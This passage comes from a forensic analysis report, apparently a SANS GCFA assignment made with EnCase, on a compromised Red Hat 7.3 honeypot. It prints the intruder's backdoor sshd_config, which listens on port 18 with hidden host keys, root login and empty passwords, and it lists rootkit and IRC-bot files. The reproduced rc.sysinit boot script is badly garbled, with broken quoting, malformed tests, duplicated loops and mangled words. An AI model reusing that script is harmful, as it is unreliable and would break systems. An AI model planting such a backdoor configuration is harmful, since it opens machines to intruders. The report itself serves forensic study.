    [ -f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
[ -e /dev/.devfsd -a -x /sbin/devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH

HOSTNAME=’/bin/hostname’

# Read in config data.
if [ -f /etc/sysconfig/network ]; then
    . /etc/sysconfig/network
else
    NETWORKING=no
fi

if [ -z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
    HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner. ;)
echo -en "$\tWelcome to 
if grep -q "Red Hat" /etc/redhat-release ; then
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 224

```bash
[ "$BOOTUP" = "color" ] && echo -en \"\"\033[1;31m\"$"\"\033[0;39m\"
echo -en "Red Hat"
[ "$BOOTUP" = "color" ] && echo -en \"\"\033[0;39m\"$"\"\033[0;39m\"
PRODUCT=`sed "s/Red Hat \(.*\) release.*/\1/" /etc/redhat-release`
echo "$PRODUCT"
else
PRODUCT=`sed "s/\$/ release.*/g" /etc/redhat-release`
if [ "$PRODUCT" != "no" ]; then
  echo -en \"\"\033[1;31m\"Press 'I' to enter interactive startup.\"\n  echo
  sleep 1
fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then
  if [ -e /initrd/dev/.devfsd ]; then
    umount /initrd/dev
  fi
  action "$Unmounting initrd: " umount /initrd
fi

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -p /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0

if [ -f /etc/sysconfig/clock ]; then
  . /etc/sysconfig/clock
  # convert old style clock config to new values
  if [ "${CLOCKMODE}" = "GMT" ]; then
    UTC=true
  elif [ "${CLOCKMODE}" = "ARC" ]; then
    ARC=true
  fi
fi

CLOCKDEF="$
CLOCKFLAGS="$CLOCKFLAGS --hctosys"

```
case "$UTC" in
  yes|true)
    CLOCKFLAGS="$CLOCKFLAGS --utc"
    CLOCKDEF="$CLOCKDEF (utc)"
    ;;
  no|false)
    CLOCKFLAGS="$CLOCKFLAGS --localtime"
    CLOCKDEF="$CLOCKDEF (localtime)"
    ;;
  esac

case "$ARC" in
  yes|true)
    CLOCKFLAGS="$CLOCKFLAGS --arc"
    CLOCKDEF="$CLOCKDEF (arc)"
  ```
EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report
Page 225

```bash
;;
esac

CLOCKFLAGS="$CLOCKFLAGS --srm";
CLOCKDEF="$CLOCKDEF (srm)";
;;
esac

/sbin/hwclock $CLOCKFLAGS

action "Setting clock $CLOCKDEF: `date'" date

if [ "$/sbin/consoletype" = "vt" ]; then
  # Load keymap
  if [ -x /bin/loadkeys ]; then
    KEYTABLE=
    KEYMAP=/etc/sysconfig/console/default.kmap
  else
    if [ -f /etc/sysconfig/keyboard ]; then
      . /etc/sysconfig/keyboard
    fi
    if [ -n "$KEYTABLE" -a -d "/usr/lib/kbd/keymaps" -o -d "/lib/kbd/keymaps" ]; then
      KEYMAP=$KEYTABLE
    fi
  fi
  if [ -n "$KEYMAP" ]; then
    # Since this takes in/output from stdin/out, we can’t use initlog
    if [ -n "$KEYTABLE" ]; then
      echo -n "Loading default keymap ("$KEYTABLE"): ">
    else
      echo -n "Loading default keymap: ">
    fi
    loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
    success "Loading default keymap" || failure "Loading default keymap"
    echo
  fi
fi

# Load system font
if [ -x /sbin/setsysfont ]; then
  [ -f /etc/sysconfig/i18n ] && . /etc/sysconfig/i18n
  [ -f /etc/sysconfig/console/$SYSFONT.psf.gz
  -o -f /usr/lib/kbd/consolefonts/$SYSFONT.psf.gz
  -o -f /etc/sysconfig/console/$SYSFONT.gz
  -o -f /usr/lib/kbd/consolefonts/$SYSFONT.gz
  -o /lib/kbd/consolefonts/$SYSFONT.gz ]
  then
    action "Setting default font ($SYSFONT): "/sbin/setsysfont
  fi
fi

# Start up swapping.
action "Activating swap partitions: " swapon -a -e

# Set the hostname.
action "Setting hostname $HOSTNAME: "/hostname $HOSTNAME

# Initialize USB controller and HID devices
usb=0
if [ ! grep "nousb" /proc/cmdline 2>/dev/null ]
  then
  aliases="/sbin/modprobe -c | awk '/alias usb-controller/ { print $3 }'
  if [ -n "$aliases" -a "$aliases" != "off" ]; then
    modprobe usbcore
    action "Mounting USB filesystem: "/ mount -t usbdevfs usbdevfs /proc/bus/usb
```
for alias in $aliases ; do
    [ "$alias" != "off" ] && action "$alias": "modprobe $alias"
done
[ $? -eq 0 -a -n "$alias" ] && usb=1
fi
fi

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
    usb=1
fi

needusbstorage=
if [ $usb = "1" ]; then
    sleep 5
    mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=02$'`
    kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E '^I.*Cls=03.*Prot=01$'`
    needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e '^I.*Cls=08$'
    if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
        action "$alias": "modprobe hid 2>
    fi
    if [ -n "$kbdoutput" ]; then
        action "$alias": "modprobe keybdev"
    fi
    if [ -n "$mouseoutput" ]; then
        action "$alias": "modprobe mousedev"
    fi
fi

if [ -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
    fastboot=yes
else
    fastboot=
fi

if [ -f /fsckoptions ]; then
    fsckoptions=`cat /fsckoptions`
else
    fsckoptions=
fi

if [ -f /forcefsck ]; then
    fsckoptions="-f $fsckoptions"
elif [ -f /.autofsck ]; then
    echo "$PROMPT" "$AUTOFSCK_TIMEOUT=5"
    echo "$AUTOFSCK_DEF_CHECK="""
    echo "$AUTOFSCK_OPT=""
    echo "$AUTOFSCK_OPT=""
else
    AUTOFSCK_OPT=
fi

if [ "$PROMPT" != "no" ]; then
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
        if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$PROMPT" n ; then
            AUTOFSCK_OPT="f"
        fi
    else
        if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$PROMPT" y ; then
            AUTOFSCK_OPT="f"
        fi
    fi
    echo
else
    echo
else
    echo
fi
# PROMPT not allowed
if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
  echo "$Forcing file system integrity check due to default setting"
else
  echo "$Not forcing file system integrity check due to default setting"
fi

fsckoptions="$AUTOFSCK_OPT $fsckoptions"
fi

if [ "$BOOTUP" = "color" ]; then
  fsckoptions="-C $fsckoptions"
else
  fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
_ROOTFSTYPE=`grep " / " /proc/mounts | awk '{ print $3 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
  STRING=$"Checking root filesystem"
  echo $STRING
  initlog -c "fsck -T -a $fsckoptions /"
  rc=$?
  if [ "$rc" = "0" ] ; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ] ; then
    passed "$STRING"
    echo
    _RUN_QUOTACHECK=1
  fi
fi

# Possibly update quotas if fsck was run on /.
grep -E '([^[:space:]]+)/([^[:space:]]+)' /etc/fstab | \ 
  awk '($4)' | \ 
  grep -q quota
_ROOT_HAS_QUOTA=0
if [ $_RUN_QUOTACHECK -a 
  "$_ROOT_HAS_QUOTA" -a 
  -x /sbin/quotacheck ] ; then
  if [ -x /sbin/convertquota ] ; then
    if [ -f /quota.user ] ; then
      action "$Converting old user quota files: 
      /sbin/convertquota -u / && rm -f /quota.user
    fi
fi
if [-f /quota.group ]; then
action "$"Converting old group quota files: " /sbin/convertquota -q / && rm -f /quota.group
fi

action "$"Checking root filesystem quotas: " /sbin/quotacheck -nug /
fi

# check for arguments passed from kernel
if grep -iq nopnp /proc/cmdline >/dev/null 2>&1 ; then
PNP=
else
PNP=yes
fi

# set up pnp
if [-x /sbin/isapnp -a -F /etc/isapnp.conf -a ! -F /proc/isapnp ]; then
if [ -n "$PNP" ]; then
action "$"Setting up ISA PNP devices: " /sbin/isapnp /etc/isapnp.conf
else
action "$"Skipping ISA PNP configuration at users request: " /bin/true
fi

# Remount the root filesystem read-write.
state=`awk '/(^(/dev/|/root)\|/proc/mounts' [""state"!="rw"] &&
action "$"Remounting root filesystem in read-write mode: " mount -n -o remount,rw /

# LVM initialization
if [-e /proc/lvm -a -x /sbin/vgchange -a -F /etc/lvmtab ]; then
action "$"Setting up Logical Volume Management:" /sbin/vgscan && /sbin/vgchange -a y
fi

# Clear mtab
>/etc/mtab

# Remove stale backups
rm -f /etc/mtab* /etc/mtab--

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -F /proc
mount -F /proc [ -F /proc/bus/usb/devices ] && mount -F -t usbdrevs usbdevfs /proc/bus/usb
[ -F /dev/.devfsd ] && mount -F -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
IN_INITLOG=
fi

if ! grep -iq nomodu /proc/cmdline >/dev/null 2>&1 && [ -f /proc/ksem ]; then
USEMODULES=y
else
USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [-x /sbin/depmod -a -n "$USEMODULES" ]; then
# If they aren't using a recent sane kernel, make a link for them
if [ ! -n "uname -r | grep -- "-"" ]; then
ktag="`cat /proc/version`
mtag=`grep -l "$ktag" /lib/modules/*/.rhkmvtag 2> /dev/null`

© SANS Institute 2004, Author retains full rights.
if [ -n "$mtag" ]; then
  mver=`echo $mtag | sed -e 's,/lib/modules/,,'
    -e 's,.rhkmvtag,,'
    -e 's,[ ]*,,,'
  fi
if [ -n "$mver" ]; then
  ln -sf /lib/modules/$mver /lib/modules/default
fi
fi
if [ -L /lib/modules/default ]; then
  INITLOG_ARGS= action "$Finding module dependencies: " depmod -A default
else
  INITLOG_ARGS= action "$Finding module dependencies: " depmod -A
fi
fi
# tweak isapnp settings if needed.
if [ -n "$PNP" -a -f /proc/isapnp -a -x /sbin/sndconfig ]; then
  /sbin/sndconfig --mungepnp >/dev/null 2>&1
fi

# Load sound modules if they need persistent DMA buffers
if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null ; then
  RETURN=0
  alias="/sbin/modprobe -c | awk '/^alias sound / { print $3 }'
  if [ -n "$alias" -a "$alias" != "off" ] ; then
    action "$Loading sound module ($alias): " modprobe sound
    RETURN=$?
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'
  if [ -n "$alias" -a "$alias" != "off" ] ; then
    action "$Loading sound module ($alias): " modprobe sound-slot-0
    RETURN=$?
  fi
fi

if [ -f /proc/sys/kernel/modprobe ]; then
  if [ -n "$USEMODULES" ]; then
    sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
  else
    # We used to set this to NULL, but that causes 'failed to exec' messages
    sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
  fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
  /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
  modprobe md >/dev/null 2>&1
fi

if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
  echo -n "$Starting up RAID devices: 
  rc=0
  for i in 'grep "^[^]*raiddev" /etc/raidtab | awk '{print $2}''
do
    RAIDDEV=`basename $i`
    RAIDSTAT=`grep "$RAIDDEV : active" /proc/mdstat`
    if [ -z "$RAIDSTAT" ]; then
      # First scan the /etc/fstab for the "noauto"-flag
      # for this device. If found, skip the initialization
      # for it to avoid dropping to a shell on errors.
  for i in 'grep "^[^]*raiddev" /etc/raidtab | awk '{print $2}''
do
    RAIDDEV=`basename $i`
    RAIDSTAT=`grep "$RAIDDEV : active" /proc/mdstat`
    if [ -z "$RAIDSTAT" ]; then
      # First scan the /etc/fstab for the "noauto"-flag
      # for this device. If found, skip the initialization
      # for it to avoid dropping to a shell on errors.
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^$i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 -a -x /sbin/raidstart ]; then
  /sbin/raidstart $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raid0run ]; then
  /sbin/raid0run $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raidadd -a -x /sbin/raidrun ]; then
  /sbin/raidadd $i
  /sbin/raidrun $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  rc=1
  echo "-$n "$RAIDDEV -"
else
  echo "$RAIDDEV -"
fi
done
echo
# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
echo echo echo $"*** An error occurred during the RAID startup"
echo $"*** Dropping you to a shell; the system will reboot"
echo $"*** when you leave the shell."
PS1=$"$(RAID Repair) \# # "; export PS1
sulogin
    echo "$"Unmounting file systems"
    umount -a
    mount -o no remount,ro
    echo "$"Automatic reboot in progress."
    reboot -f
fi
# LVM initialization, take 2 (it could be on top of RAID)
if [ -e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action "$"Setting up Logical Volume Management:" /sbin/vgscan & & /sbin/vgchange -a y
fi
__RUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
  STRING="Checking filesystems"
  echo $STRING
  initlog -c "$fsck -T -R -A -a $fsckoptions"
  rc=0
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi
A return of 2 or higher means there were serious problems.

```bash
if [ $rc -gt 1 ]; then
    failure "STRING"
    echo
    echo "An error occurred during the file system check."
    echo " Dropping you to a shell; the system will reboot"
    echo " when you leave the shell."

    PS1="[Repair filesystem] "># "; export PS1
    su login
    echo "Unmounting file systems"
    umount -a
    mount -o remount,ro /
    echo "Automatic reboot in progress."
    reboot -f
elif [ "$rc" = "1" ] -a /sbin/quotacheck ]; then
    _RUN_QUOTACHECK=1
    fi
fi

# Mount all other filesystems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage,
# filesystems are NOT unmounted in single user mode.
action "$Mounting local filesystems: " mount

# check remaining quotas other than root
if [ -x /sbin/quotacheck ]; then
    if [ -x /sbin/quotacheck ]; then
        # try to convert old quotas
        for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
            action "$Converting old user quota files: "$ mountpt
            rm -f $mountpt/quota.user
        done
        action "$Checking local filesystem quotas: " /sbin/quotacheck -aRnug
    fi
    if [ -x /sbin/quotaon ]; then
        action "$Enabling local filesystem quotas: " /sbin/quotaon -aug
    fi

    if [ -x /usr/bin/passwd ]; then
        /usr/bin/passwd root
    fi
    if [ -x /usr/sbin/netconfig ]; then
        /usr/sbin/netconfig
    fi
    if [ -x /usr/sbin/timeconfig ]; then
        /usr/sbin/timeconfig
    fi
    if [ -x /usr/sbin/kbdconfig ]; then
        /usr/sbin/kbdconfig
    fi
    if [ -x /usr/sbin/authconfig ]; then
        /usr/sbin/authconfig --nostart
```
fi
if [ -x /usr/sbin/ntsysv ]; then
  /usr/sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ -f /etc/sysconfig/network ]; then
  . /etc/sysconfig/network

# Reset the hostname.
action "Resetting hostname \$\{HOSTNAME\}: " hostname $\{HOSTNAME\}
fi

rm -f /.unconfigured
fi

# Clean out /etc.
rm -f /fastboot /forcefsck /autosck /halt /poweroff

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...
_NEED_XFILES=
  [ -f /var/run/utmp ] -o [ -f /var/log/wtmp ] && _NEED_XFILES=1

# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
  if [ -d "$afile" ]; then
    [ "$basename $afile" != "news" -a "$basename $afile" != "sudo" -a "$basename $afile" != "mon" ] && rm -f $afile/*
  else
    rm -f $afile
  fi
done
rm -f /var/lib/rpm/__db*

# Reset pam_console permissions
[ -x /sbin/pam_console_apply ] && /sbin/pam_console_apply -r

# Clean up utmp/wtmp
> /var/run/utmp
  touch /var/log/wtmp
  chgrp utmp /var/run/utmp /var/log/wtmp
  chmod 0664 /var/run/utmp /var/log/wtmp
if [ -n "$_NEED_XFILES" ]; then
  > /var/run/utmp
  touch /var/log/wtmp
  chgrp utmp /var/run/utmp /var/log/wtmp
  chmod 0664 /var/run/utmp /var/log/wtmp
fi

# Delete X locks
rm -f /tmp/.X* -lock

# Delete VNC & X locks
rm -rf /tmp/.X* -unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL*

# Now turn on swap in case we swap to files.
swapon -a
action "Enabling swap space: " /bin/true

# Initialize the serial ports.
if [ -f /etc/rc.serial ]; then
  . /etc/rc.serial
fi
# If a SCSI tape has been detected, load the st module unconditionally.
# since many SCSI tapes don't deal well with st being loaded and unloaded.
if [-f /proc/scsi/scsi ] &>&q -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
  if grep -q ' 9 st' /proc/devices ; then
    if grep -q 'SELS' /proc/devices ; then
      # Try to load the module. If it fails, ignore it...
      insmod -p st >/dev/null 2>&1 & modprobe st >/dev/null 2>&1
    fi
  fi
fi

# Load usb storage here, to match most other things
if [-n "$needusbstorage" ]; then
  modprobe usb-storage >/dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
  modprobe ide-cd >/dev/null 2>&1
  modprobe ide-scsi >/dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [-e /sbin/hdparm ]; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
    unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [-n "$MULTIPLE_IO" ]; then
      HDFLAGS[$device]="-q -m$MULTIPLE_IO"
    fi
    if [-n "$USE_DMA" ]; then
      HDFLAGS[$device]="-q -d$USE_DMA"
    fi
    if [-n "$EIDE_32BIT" ]; then
      HDFLAGS[$device]="-q -c$EIDE_32BIT"
    fi
    if [-n "$LOOKAHEAD" ]; then
      HDFLAGS[$device]="-q -A$LOOKAHEAD"
    fi
    if [-n "$EXTRA_PARAMS" ]; then
      HDFLAGS[$device]="$HDFLAGS[$device] $EXTRA_PARAMS"
    else
      HDFLAGS[$device]=""$HDFLAGS[$device]"
    fi
  done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisk for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisk to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
#

if [-x /sbin/hdparm ]; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
    unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [-f /etc/sysconfig/harddiskisk[disk[$device]] ]; then
      . /etc/sysconfig/harddiskisk[disk[$device]]
      HDFLAGS[$device]=""
      if [-n "$MULTIPLE_IO" ]; then
        HDFLAGS[$device]="-q -m$MULTIPLE_IO"
      fi
      if [-n "$USE_DMA" ]; then
        HDFLAGS[$device]="-q -d$USE_DMA"
      fi
      if [-n "$EIDE_32BIT" ]; then
        HDFLAGS[$device]="-q -c$EIDE_32BIT"
      fi
      if [-n "$LOOKAHEAD" ]; then
        HDFLAGS[$device]="-q -A$LOOKAHEAD"
      fi
      if [-n "$EXTRA_PARAMS" ]; then
        HDFLAGS[$device]="$HDFLAGS[$device] $EXTRA_PARAMS"
      else
        HDFLAGS[$device]=""$HDFLAGS[$device]"
      fi
    fi
  done
fi
HDFLAGS[$device]="${HDFLAGS[0]}"
fi
if [-e /proc/ide/${disk[$device]}/media ]; then
    hdmedia=`cat /proc/ide/${disk[$device]}/media`
    if [ "$hdmedia" = "disk" -o -f /etc/ sysconfig/harddisk${disk[$device]} ]; then
        if [ -n "$HDFLAGS[$device]" ]; then
            action "Setting hard drive parameters for ${disk[$device]}: " /sbin/hdparm
        fi
    fi
fi
done
fi

# Generate a header that defines the boot kernel.
/sbin/mkkerneldoth

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [ -L /boot/System.map -a -r /boot/System.map- unused -r -a 
    ! /boot/System.map -ef /boot/System.map- unused -r ] ; then
    ln -a -f System.map- unused rock` /boot/System.map
fi
if [ ! -e /boot/System.map -a -r /boot/System.map- unused rock` ]; then
    ln -a -f System.map- unused rock` /boot/System.map
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/$(uname -r)/libredhat
    -* ; do
    ln -s -f $library /lib/
ldconfig -n /lib/
done
shopt -u nullglob

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
dmesg -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ] ; do
    if [ -f /var/log/ksyms.$i ] ; then
        mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
    fi
    i=$(($i-1))
done
/bin/date;
/bin/uname -a;
/sbin/pidof getkey
" /dev/null 2>&1
}" &
if [ "$PROMPT" != "no" ]; then
    /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name sshd_config
Description File
Full Path   Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/sbin/sshd_config
Entry Modified 06/29/03 03:25:20PM
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value ce630951c72096d9e1d3b12f309b281
Physical Size 1,024
Logical Size 707

Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

**Config files**

httpd configuration files

40) Name access.conf
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\etc\httpd\conf\access.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value 5cf0c5e40cc02c415b7bd1c6f325eec
Physical Size 1,024
Logical Size 285

41) Name httpd.conf
Description File
Full Path Sans GCFA Cert Assignment: Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf
Entry Modified 06/27/03 02:11:35PM
Last Accessed 06/29/03 04:02:23AM
EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report Page 236

Last Written 06/27/03 02:11:35PM
Hash Value dbc69665508bea69b9387530d442a0c8
Physical Size 22,528
Logical Size 22,289

42) Name  srm.conf
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value b0366af9aad99e0f7515bbdc255e9a23
Physical Size 1,024
Logical Size 297

43) Name  httpd.conf.bak
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
Entry Modified 06/27/03 02:08:34PM
Last Accessed 06/27/03 02:08:34PM
Last Written 04/09/02 12:56:58PM
Hash Value 55d44549fa2d844e59257b0f6286e197
Physical Size 52,224
Logical Size 51,270

**Root kit files**

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

**samba.tgz files**

44) Name  samba.tgz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\samba.tgz
Entry Modified 06/29/03 03:41:42PM
Last Accessed 06/29/03 03:41:56PM
Last Written 04/29/03 06:48:30AM
Hash Value 4c41dbabb341c3f3a0b9f56c0394d6efc3d3
Physical Size 13,312
Logical Size 13,183

The samba.tgz files are used to assess and attack other hosts.

**These files are the IRC server software files.**

45) Name  README
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\X11-pipe\README
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

#### Last Written
11/08/00 12:38:22AM

**Hash Value** 5f44d568618af62621017664fcdcf6

**Physical Size** 4,096

**Logical Size** 3,398

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>LinkEvents</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\LinkEvents</td>
<td>06/29/03 03:43:55PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:43:55PM</td>
<td>a20fef753ecc02a2a21d18bcfe466808</td>
<td>1,024</td>
<td>80</td>
</tr>
<tr>
<td>mech.set</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\mech.set</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>01/29/03 05:11:38PM</td>
<td>d09d745a3eebdbec553e943a1c68f98e</td>
<td>2,048</td>
<td>1,150</td>
</tr>
<tr>
<td>checklpd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\checklpd</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>ff23e76196e176c1ee66a4a6f1d7718</td>
<td>1,024</td>
<td>942</td>
</tr>
<tr>
<td>lpd.usr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\lpd.usr</td>
<td>06/29/03 07:00:27PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 07:00:27PM</td>
<td>e64ef3d3dd690630d1cdceaa47593ee9e8</td>
<td>1,024</td>
<td>352</td>
</tr>
<tr>
<td>M44r0n.seen</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\M44r0n.seen</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:20:20PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, as part of GIAC practical repository. Author retains full rights.
### 51) configure
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\configure
- **Entry Modified:** 06/29/03 03:32:50PM
- **Last Accessed:** 06/29/03 03:34:10PM
- **Last Written:** 10/09/00 06:22:02PM
- **Hash Value:** 2b3e480699a38040311204acc1a4224b
- **Physical Size:** 20,480
- **Logical Size:** 20,290

### 52) MrIdiot.seen
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\MrIdiot.seen
- **Entry Modified:** 06/29/03 07:10:27PM
- **Last Accessed:** 06/29/03 03:35:40PM
- **Last Written:** 06/29/03 07:10:27PM
- **Hash Value:** 938fa960b7f4f7e28e
d7ff8e35cab9a4
- **Physical Size:** 1,024
- **Logical Size:** 148

### 53) mech.levels
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.levels
- **Entry Modified:** 06/30/03 04:00:00PM
- **Last Accessed:** 06/29/03 03:34:10PM
- **Last Written:** 06/30/03 04:00:00PM
- **Hash Value:** dc8afcc07717b77f9129f778ed7f8e35cab9a4
- **Physical Size:** 2,048
- **Logical Size:** 1,085

### 54) mech.pid
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.pid
- **Entry Modified:** 06/29/03 03:32:59PM
- **Last Accessed:** 06/29/03 03:34:10PM
